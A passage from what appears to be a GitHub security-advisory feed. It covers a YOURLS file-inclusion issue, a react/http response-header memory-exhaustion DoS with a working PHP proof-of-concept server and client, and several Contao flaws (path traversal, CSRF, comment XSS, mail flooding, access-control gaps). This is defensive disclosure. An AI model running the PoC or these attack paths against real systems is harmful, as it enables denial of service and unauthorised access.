&lt;li&gt;
&lt;p&gt;Remote execution of uploaded PHP files – An attacker uploads a malicious PHP file to an arbitrary location on the server (e.g., via another vulnerability or file upload feature), obtains its absolute path but cannot access it directly. The attacker then leverages this vulnerability to include and execute the PHP file, gaining code execution privileges.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Indirect triggering of PHP code injection – If a PHP code injection point exists on the system (e.g., log injection, session injection) but the injected file cannot be accessed directly due to configuration restrictions, the attacker can use this vulnerability to include and execute the injected code, achieving remote command execution or further compromise.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-f8ff-652m-j5rx&quot; href=&quot;https://github.com/YOURLS/YOURLS/security/advisories/GHSA-f8ff-652m-j5rx&quot;&gt;GHSA-f8ff-652m-j5rx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-62858&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-62858&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;5092398165&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/YOURLS/YOURLS/issues/4142&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/YOURLS/YOURLS/pull/4142/hovercard&quot; href=&quot;https://github.com/YOURLS/YOURLS/pull/4142&quot;&gt;YOURLS/YOURLS#4142&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/YOURLS/YOURLS/commit/4e85972160a96e03a419a442d5bd8f21f2f02ddb/hovercard&quot; href=&quot;https://github.com/YOURLS/YOURLS/commit/4e85972160a96e03a419a442d5bd8f21f2f02ddb&quot;&gt;YOURLS/YOURLS@&lt;tt&gt;4e85972&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/YOURLS/YOURLS/releases/tag/1.10.5&quot;&gt;https://github.com/YOURLS/YOURLS/releases/tag/1.10.5&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-f8ff-652m-j5rx</link><guid isPermaLink="false">https://github.com/advisories/GHSA-f8ff-652m-j5rx</guid><pubDate>Thu, 15 Oct 2026 20:13:02 GMT</pubDate></item><item><title>react/http: Unbounded HTTP Client Response Header Buffering Leads to Memory Exhaustion DoS</title><description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;React\Http\Browser&lt;/code&gt; and its lower-level HTTP stack impose no limit on the size of a response&#39;s header section while it is being received. &lt;code class=&quot;notranslate&quot;&gt;ClientRequestStream::handleData()&lt;/code&gt; appends every incoming byte to an internal buffer and only scans that buffer for the &lt;code class=&quot;notranslate&quot;&gt;\r\n\r\n&lt;/code&gt; (or &lt;code class=&quot;notranslate&quot;&gt;\n\n&lt;/code&gt;) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client&#39;s memory without bound until PHP&#39;s &lt;code class=&quot;notranslate&quot;&gt;memory_limit&lt;/code&gt; is exhausted and the process crashes.&lt;/p&gt;
&lt;p&gt;This is an unauthenticated, network-reachable denial of service against any application that uses &lt;code class=&quot;notranslate&quot;&gt;react/http&lt;/code&gt; as a client to fetch untrusted or attacker-influenced URLs, including via redirects.&lt;/p&gt;
&lt;h3&gt;Details&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;ClientRequestStream::handleData()&lt;/code&gt; is bound directly to the underlying connection&#39;s &lt;code class=&quot;notranslate&quot;&gt;data&lt;/code&gt; event, so every byte the peer sends is appended with no size check:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; handleData(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;data&lt;/span&gt;)
{
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;buffer&lt;/span&gt; .= &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;data&lt;/span&gt;;

    &lt;span class=&quot;pl-c&quot;&gt;// buffer until double CRLF (or double LF for compatibility with legacy servers)&lt;/span&gt;
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;eom&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;\strpos&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;buffer&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;\r\n\r\n&quot;&lt;/span&gt;);
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;eomLegacy&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;\strpos&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;buffer&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;\n\n&quot;&lt;/span&gt;);
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;eom&lt;/span&gt; !== &lt;span class=&quot;pl-c1&quot;&gt;false&lt;/span&gt; || &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;eomLegacy&lt;/span&gt; !== &lt;span class=&quot;pl-c1&quot;&gt;false&lt;/span&gt;) {&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending.&lt;/p&gt;
&lt;p&gt;The codebase already applies this class of limit elsewhere, but not symmetrically. &lt;code class=&quot;notranslate&quot;&gt;RequestHeaderParser&lt;/code&gt; caps incoming &lt;strong&gt;request&lt;/strong&gt; headers when acting as a server, and &lt;code class=&quot;notranslate&quot;&gt;Transaction::bufferResponse()&lt;/code&gt; caps the response &lt;strong&gt;body&lt;/strong&gt;, but only once the header section has already been parsed into a &lt;code class=&quot;notranslate&quot;&gt;Response&lt;/code&gt;. Response header reception was the one stage with no limit at all.&lt;/p&gt;
&lt;h3&gt;PoC&lt;/h3&gt;
&lt;p&gt;An HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-source-shell&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;php -r &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;$s=stream_socket_server(&quot;tcp://127.0.0.1:18080&quot;); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,&quot;HTTP/1.1 200 OK\r\nX-Fill: &quot;); while (true) { fwrite($c, str_repeat(&quot;A&quot;,1048576)); usleep(10000); }&lt;span class=&quot;pl-pds&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A client fetching it, with &lt;code class=&quot;notranslate&quot;&gt;memory_limit=64M&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;browser&lt;/span&gt; = &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;React&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Http&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Browser&lt;/span&gt;();
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;browser&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;get&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;http://127.0.0.1:18080/&lt;/span&gt;&quot;&lt;/span&gt;)-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;then&lt;/span&gt;(
    &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; () { &lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;ok&lt;/span&gt;\n&quot;&lt;/span&gt;; },
    &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; (&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;e&lt;/span&gt;) { &lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;get_class&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;e&lt;/span&gt;) . &lt;span class=&quot;pl-s&quot;&gt;&quot;&lt;span class=&quot;pl-s&quot;&gt;: &lt;/span&gt;&quot;&lt;/span&gt; . &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;e&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;getMessage&lt;/span&gt;() . &lt;span class=&quot;pl-s&quot;&gt;&quot;\n&quot;&lt;/span&gt;; }
);&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Client memory grows steadily until the process dies with &lt;code class=&quot;notranslate&quot;&gt;Allowed memory size ... exhausted&lt;/code&gt; inside &lt;code class=&quot;notranslate&quot;&gt;ClientRequestStream::handleData()&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Remotely triggerable, unauthenticated denial of service against any process using &lt;code class=&quot;notranslate&quot;&gt;Browser&lt;/code&gt; to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-g4f2-2pf3-2pwj&quot; href=&quot;https://github.com/reactphp/http/security/advisories/GHSA-g4f2-2pf3-2pwj&quot;&gt;GHSA-g4f2-2pf3-2pwj&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/reactphp/http/commit/2558622d0b76227c60c61eac8a61572cb6638e8c/hovercard&quot; href=&quot;https://github.com/reactphp/http/commit/2558622d0b76227c60c61eac8a61572cb6638e8c&quot;&gt;reactphp/http@&lt;tt&gt;2558622&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/reactphp/http/releases/tag/v1.11.1&quot;&gt;https://github.com/reactphp/http/releases/tag/v1.11.1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-g4f2-2pf3-2pwj</link><guid isPermaLink="false">https://github.com/advisories/GHSA-g4f2-2pf3-2pwj</guid><pubDate>Thu, 15 Oct 2026 20:09:56 GMT</pubDate></item><item><title>Contao: Protected page content is disclosed to anonymous visitors after contao.search.index_protected is disabled</title><description>&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;ModuleSearch&lt;/code&gt; decides whether to filter protected pages out of search results based on the current value of &lt;code class=&quot;notranslate&quot;&gt;contao.search.index_protected&lt;/code&gt;, but the authorisation data lives per row in &lt;code class=&quot;notranslate&quot;&gt;tl_search&lt;/code&gt;. Turning the setting off removes&lt;br&gt;
the filter without removing the rows, so protected pages that were indexed while it was on are returned to unauthenticated visitors such as title, URL and context snippet, even though the pages themselves still answer 401.&lt;/p&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;Disclosure of member-only page titles, URLs and indexed text to unauthenticated visitors through the site search. The pages themselves remain access-controlled, so this is not a page-access bypass.&lt;/p&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;This security vulnerability was found by &lt;a class=&quot;user-mention notranslate&quot; data-hovercard-type=&quot;user&quot; data-hovercard-url=&quot;/users/iRevivalx/hovercard&quot; data-octo-click=&quot;hovercard-link-click&quot; data-octo-dimensions=&quot;link_type:self&quot; href=&quot;https://github.com/iRevivalx&quot;&gt;@iRevivalx&lt;/a&gt; .&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-x2rp-9qf7-2fmq&quot; href=&quot;https://github.com/contao/contao/security/advisories/GHSA-x2rp-9qf7-2fmq&quot;&gt;GHSA-x2rp-9qf7-2fmq&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/contao/contao/commit/572686a113bca60f92cf2d0496cf3a74d0b6b457/hovercard&quot; href=&quot;https://github.com/contao/contao/commit/572686a113bca60f92cf2d0496cf3a74d0b6b457&quot;&gt;contao/contao@&lt;tt&gt;572686a&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.3.50&quot;&gt;https://github.com/contao/contao/releases/tag/5.3.50&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.7.12&quot;&gt;https://github.com/contao/contao/releases/tag/5.7.12&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-x2rp-9qf7-2fmq</link><guid isPermaLink="false">https://github.com/advisories/GHSA-x2rp-9qf7-2fmq</guid><pubDate>Fri, 09 Oct 2026 20:54:09 GMT</pubDate></item><item><title>Contao: The registration module re-sends activation mails</title><description>&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;ModuleRegistration::compile()&lt;/code&gt; reaches its follow-up registration branch on &lt;strong&gt;any&lt;/strong&gt; POST to a page carrying the module. That branch checks neither &lt;code class=&quot;notranslate&quot;&gt;FORM_SUBMIT&lt;/code&gt; nor the captcha result computed immediately above it, and &lt;code class=&quot;notranslate&quot;&gt;resendActivationMail()&lt;/code&gt; leads to &lt;code class=&quot;notranslate&quot;&gt;OptInToken::send()&lt;/code&gt;, which has no rate limit at all.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Anyone on the internet can make a Contao installation send unlimited mail to an address of their choosing, from the site&#39;s own sender and reputation, at one outbound message per HTTP request. That is both a nuisance for the recipient and a deliverability risk for the site operator. The same request is a reliable account oracle for &quot;this address has a pending registration on this site&quot;, which is exactly the sort of membership fact a public site is usually expected not to disclose.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Honest bound.&lt;/strong&gt; The target must have an unconfirmed registration, that is &lt;code class=&quot;notranslate&quot;&gt;tl_member.disable = 1&lt;/code&gt; together with an unconfirmed &lt;code class=&quot;notranslate&quot;&gt;reg-&lt;/code&gt; opt-in token. An attacker can create that state for an arbitrary address, since registration requires no ownership proof, but on a site where &lt;code class=&quot;notranslate&quot;&gt;reg_activate&lt;/code&gt; is off the branch is unreachable.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-mfxh-vp55-7gc6&quot; href=&quot;https://github.com/contao/contao/security/advisories/GHSA-mfxh-vp55-7gc6&quot;&gt;GHSA-mfxh-vp55-7gc6&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/contao/contao/commit/2ea6117f9049db7221679251cfc41e67d941a74b/hovercard&quot; href=&quot;https://github.com/contao/contao/commit/2ea6117f9049db7221679251cfc41e67d941a74b&quot;&gt;contao/contao@&lt;tt&gt;2ea6117&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.3.50&quot;&gt;https://github.com/contao/contao/releases/tag/5.3.50&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.7.12&quot;&gt;https://github.com/contao/contao/releases/tag/5.7.12&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-mfxh-vp55-7gc6</link><guid isPermaLink="false">https://github.com/advisories/GHSA-mfxh-vp55-7gc6</guid><pubDate>Fri, 09 Oct 2026 20:54:04 GMT</pubDate></item><item><title>Contao: Cross-site request forgery in custom backend actions</title><description>&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;RequestTokenListener&lt;/code&gt; is the only generic &lt;code class=&quot;notranslate&quot;&gt;REQUEST_TOKEN&lt;/code&gt; validator in Contao and it only runs on POST. On the GET side the guard is local and declarative, and it only fires when an &lt;code class=&quot;notranslate&quot;&gt;act&lt;/code&gt; parameter is present. Every back end action dispatched through a different parameter therefore has no CSRF protection at all. This is a family rather than a single bug.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An attacker who gets a logged in back end user to load a URL performs back end actions as that user, with no token and no confirmation. Because the exposure follows from the dispatch mechanism rather than from one callback, every present and future &lt;code class=&quot;notranslate&quot;&gt;key=&lt;/code&gt; action inherits it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Honest bound.&lt;/strong&gt; The victim must be authenticated in the back end and must load the URL, and the reachable actions are limited to the modules that user can access. We have not found a &lt;code class=&quot;notranslate&quot;&gt;key=&lt;/code&gt; action that grants privileges; the ones we verified are destructive or state changing rather than escalating.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-9ff2-p842-45wq&quot; href=&quot;https://github.com/contao/contao/security/advisories/GHSA-9ff2-p842-45wq&quot;&gt;GHSA-9ff2-p842-45wq&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/contao/contao/commit/34dd27ee6739f10568d3d95d8784862255c925b4/hovercard&quot; href=&quot;https://github.com/contao/contao/commit/34dd27ee6739f10568d3d95d8784862255c925b4&quot;&gt;contao/contao@&lt;tt&gt;34dd27e&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.7.12&quot;&gt;https://github.com/contao/contao/releases/tag/5.7.12&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-9ff2-p842-45wq</link><guid isPermaLink="false">https://github.com/advisories/GHSA-9ff2-p842-45wq</guid><pubDate>Fri, 09 Oct 2026 20:54:00 GMT</pubDate></item><item><title>Contao: Path traversal in the images controller</title><description>&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;ImagesController&lt;/code&gt; joins the user controlled &lt;code class=&quot;notranslate&quot;&gt;{path}&lt;/code&gt; onto the configured image target directory with &lt;code class=&quot;notranslate&quot;&gt;Path::join()&lt;/code&gt;, which canonicalises &lt;code class=&quot;notranslate&quot;&gt;..&lt;/code&gt; segments, and never calls &lt;code class=&quot;notranslate&quot;&gt;Path::isBasePath()&lt;/code&gt; to confirm the result stayed inside that directory. An unauthenticated GET with percent encoded dot segments therefore escapes the directory and the file is returned by &lt;code class=&quot;notranslate&quot;&gt;BinaryFileResponse&lt;/code&gt;. Reads are bounded to the extensions in &lt;code class=&quot;notranslate&quot;&gt;contao.image.valid_extensions&lt;/code&gt;, and paths below the upload directory fail for an unrelated reason, so this is reported as a missing boundary check rather than as a general arbitrary file read. Both Apache with the shipped &lt;code class=&quot;notranslate&quot;&gt;public/.htaccess&lt;/code&gt; and nginx with the documented configuration are affected.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Any unauthenticated visitor can read files that are deliberately kept outside the document root, anywhere under the project directory, as long as the name ends in one of &lt;code class=&quot;notranslate&quot;&gt;contao.image.valid_extensions&lt;/code&gt; (&lt;code class=&quot;notranslate&quot;&gt;jpg&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;jpeg&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;gif&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;png&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tif&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tiff&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;bmp&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;svg&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;svgz&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;webp&lt;/code&gt;). The route also acts as an existence oracle for arbitrary paths, and on a debug enabled instance the 404 message discloses the absolute filesystem path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Honesty caveat, stated because it lowers the severity.&lt;/strong&gt; The reporter could not use this to read protected member folders: every path below the upload directory returns 500 for the reason given under Details, so the practically reachable set is image typed files outside &lt;code class=&quot;notranslate&quot;&gt;files/&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-mrvp-7wmx-5m4h&quot; href=&quot;https://github.com/contao/contao/security/advisories/GHSA-mrvp-7wmx-5m4h&quot;&gt;GHSA-mrvp-7wmx-5m4h&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/contao/contao/commit/867c055122fdf12220f973f862082037b695b9bd/hovercard&quot; href=&quot;https://github.com/contao/contao/commit/867c055122fdf12220f973f862082037b695b9bd&quot;&gt;contao/contao@&lt;tt&gt;867c055&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.3.50&quot;&gt;https://github.com/contao/contao/releases/tag/5.3.50&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.7.12&quot;&gt;https://github.com/contao/contao/releases/tag/5.7.12&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-mrvp-7wmx-5m4h</link><guid isPermaLink="false">https://github.com/advisories/GHSA-mrvp-7wmx-5m4h</guid><pubDate>Fri, 09 Oct 2026 20:53:55 GMT</pubDate></item><item><title>Contao: Cross-site scripting in the comments bundle</title><description>&lt;p&gt;An unauthenticated front end visitor can post a comment containing a XSS injection. The victim is any back end user who opens the Comments module, and moderation makes exposure certain rather than preventing it. No &lt;code class=&quot;notranslate&quot;&gt;Content-Security-Policy&lt;/code&gt; header is sent on the Contao back end, so nothing mitigates the inline handler.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Anyone on the internet can inject script that executes in the Contao back end origin, under the session of whichever user opens the Comments module, with no click and no hover. From there the payload acts as that user through the back end: reading any module they can reach, creating a new administrator, or editing a template, which on Contao is a documented path from back end write access to code execution. Moderation does not help and in fact guarantees exposure, since unpublished comments are still inserted and a moderator has to open the list to act on them.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-628f-v4f6-p37r&quot; href=&quot;https://github.com/contao/contao/security/advisories/GHSA-628f-v4f6-p37r&quot;&gt;GHSA-628f-v4f6-p37r&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/contao/contao/commit/22505d5f79bc1a7f52e2cba5fddf6007e1f0408a/hovercard&quot; href=&quot;https://github.com/contao/contao/commit/22505d5f79bc1a7f52e2cba5fddf6007e1f0408a&quot;&gt;contao/contao@&lt;tt&gt;22505d5&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.3.50&quot;&gt;https://github.com/contao/contao/releases/tag/5.3.50&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.7.12&quot;&gt;https://github.com/contao/contao/releases/tag/5.7.12&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-628f-v4f6-p37r</link><guid isPermaLink="false">https://github.com/advisories/GHSA-628f-v4f6-p37r</guid><pubDate>Fri, 09 Oct 2026 20:53:50 GMT</pubDate></item><item><title>Contao: Improper access control in the preview links module</title><description>&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;core-bundle/config/services.yaml&lt;/code&gt; registers the preview access voter with the class &lt;code class=&quot;notranslate&quot;&gt;Contao\CoreBundle\Security\Voter\DataContainer\PreviewAccessVoter&lt;/code&gt;, but the class shipped on disk is named &lt;code class=&quot;notranslate&quot;&gt;PreviewVoter&lt;/code&gt;. Symfony resolves the class with &lt;code class=&quot;notranslate&quot;&gt;getReflectionClass($class, false)&lt;/code&gt;, gets &lt;code class=&quot;notranslate&quot;&gt;null&lt;/code&gt;, silently skips the interface based autoconfiguration that would have tagged it as a voter, and the now untagged private service is removed when the container is compiled. The application boots without a warning, and the ownership rule in &lt;code class=&quot;notranslate&quot;&gt;PreviewVoter::hasAccess()&lt;/code&gt; is never executed. &lt;code class=&quot;notranslate&quot;&gt;tl_preview_link&lt;/code&gt; has no compensating SQL filter on &lt;code class=&quot;notranslate&quot;&gt;createdBy&lt;/code&gt;, so any non administrator back end user whose group holds the &lt;code class=&quot;notranslate&quot;&gt;preview_link&lt;/code&gt; module reads every preview link on the installation and lifts the already signed share URLs straight out of the list. Following one grants front end preview of the target page, with &lt;code class=&quot;notranslate&quot;&gt;showUnpublished&lt;/code&gt; and with no page permission check, to anyone at all.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;A non administrator back end user reads every preview link on the installation, including links created by administrators, and lifts the already signed share URLs out of the list. Following one grants front end preview of the target page with &lt;code class=&quot;notranslate&quot;&gt;showUnpublished&lt;/code&gt; and with no page permission check at all, so unpublished or embargoed content becomes readable by a user who has no rights on those pages, and by anyone that user forwards the URL to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Honesty caveat, stated because it bounds the severity.&lt;/strong&gt; &lt;code class=&quot;notranslate&quot;&gt;UpdateAction&lt;/code&gt; on a record owned by someone else was denied in our lab by &lt;code class=&quot;notranslate&quot;&gt;DcaPermissionVoter&lt;/code&gt;, so we do not claim that a foreign preview link can be edited or deleted.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-q6wp-fr43-gm9v&quot; href=&quot;https://github.com/contao/contao/security/advisories/GHSA-q6wp-fr43-gm9v&quot;&gt;GHSA-q6wp-fr43-gm9v&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/contao/contao/commit/6b483d380a4b2dc61432c4c697e411508f93bf91/hovercard&quot; href=&quot;https://github.com/contao/contao/commit/6b483d380a4b2dc61432c4c697e411508f93bf91&quot;&gt;contao/contao@&lt;tt&gt;6b483d3&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.7.12&quot;&gt;https://github.com/contao/contao/releases/tag/5.7.12&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
